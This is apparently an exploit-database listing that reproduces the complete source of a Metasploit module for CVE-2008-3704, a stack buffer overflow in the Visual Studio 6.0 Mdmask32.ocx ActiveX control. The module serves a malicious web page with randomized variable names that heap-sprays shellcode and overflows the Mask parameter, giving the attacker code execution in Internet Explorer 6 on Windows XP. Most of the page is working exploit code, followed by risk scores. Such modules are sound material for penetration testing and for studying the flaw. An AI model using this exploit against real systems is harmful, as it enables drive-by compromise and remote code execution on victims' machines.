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Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow
🗓️ 15 Jun 2010 23:17:49Reported by koshi, MC <[email protected]>Type 
metasploit🔗 www.rapid7.com👁 16 Views
Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow. Stack buffer overflow in Visual Studio 6.0, exploiting specially crafted string in Mdmask32.ocx ActiveX Control
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Microsoft's Visual Studio 6.0.
When passing a specially crafted string to the Mask parameter of the
Mdmask32.ocx ActiveX Control, an attacker may be able to execute arbitrary
code.
},
'License' => MSF_LICENSE,
'Author' => [ 'koshi', 'MC' ],
'References' =>
[
[ 'CVE', '2008-3704' ],
[ 'OSVDB', '47475' ],
[ 'BID', '30674' ],
[ 'MSB', 'MS08-070' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP2 IE 6.0 SP0-SP2', { 'Ret' => '' } ]
],
'DisclosureDate' => '2008-08-13',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
])
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Create some nops.
nops = Rex::Text.to_unescape(make_nops(4))
# Randomize the javascript variable names.
vname = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(30) + 2)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
rand9 = rand_text_alpha(rand(100) + 1)
rand10 = rand_text_alpha(rand(100) + 1)
rand11 = rand_text_alpha(rand(100) + 1)
randnop = rand_text_alpha(rand(100) + 1)
content = %Q|
<html>
<script language="javascript">
var #{rand1}='<object classid="clsid:C932BA85-4374-101B-A56C-00AA003668DC"><param name="Mask" value="';
var #{rand2}='"></object>';
var #{rand3} = '';
for (#{var_i}=1;#{var_i}<=2145;#{var_i}++){#{rand3}=#{rand3}+unescape("%0c");}
var #{rand4} = unescape("#{shellcode}");
var #{rand5} = (#{rand4}.length * 2);
var #{randnop} = "#{nops}";
var #{rand6} = unescape(#{randnop});
var #{rand7} = 0x0c0c0c0c;
var #{rand8} = 0x100000;
var #{rand9} = #{rand8} - (#{rand5} + 1);
var #{rand10} = (#{rand7}+#{rand8})/#{rand8};
var #{rand11} = new Array();
while (#{rand6}.length*2<#{rand9})
{ #{rand6} += #{rand6}; }
#{rand6} = #{rand6}.substring(0,#{rand9}/2);
for (#{var_i}=0;#{var_i}<#{rand10};#{var_i}++)
{ #{rand11}[#{var_i}] = #{rand6} + #{rand4}; }
document.write(#{rand1}+#{rand3}+#{rand2});
</script>
</html>
|
print_status("Sending #{self.name}")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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Book a live demo15 Jun 2010 23:49Current
1Low risk
Vulners AI Score1
CVSS29.3
EPSS0.81776